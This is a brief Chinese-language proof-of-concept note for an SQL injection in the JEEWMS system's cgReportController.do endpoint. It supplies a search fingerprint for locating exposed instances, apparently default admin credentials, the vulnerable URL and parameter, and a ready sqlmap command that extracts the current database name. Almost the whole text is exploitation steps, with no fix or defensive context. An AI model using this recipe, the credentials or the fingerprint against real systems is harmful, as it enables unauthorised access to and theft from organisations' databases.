JEEWMS系统cgReportController.do存在SQL注入漏洞
body="plug-in/lhgDialog/lhgdialog.min.js?skin=metro"
- 构建 POC,登录后端捕获数据包,并替换 cookie
admin/llg123
http://localhost:8083/jeewms/cgReportController.do?list&id=1
- 使用 SQLMAP 重现和构造执行语句
python sqlmap.py -u "http://localhost:8083/jeewms/cgReportController.do?list&id=1" --cookie="XXXXX" -p id --current-db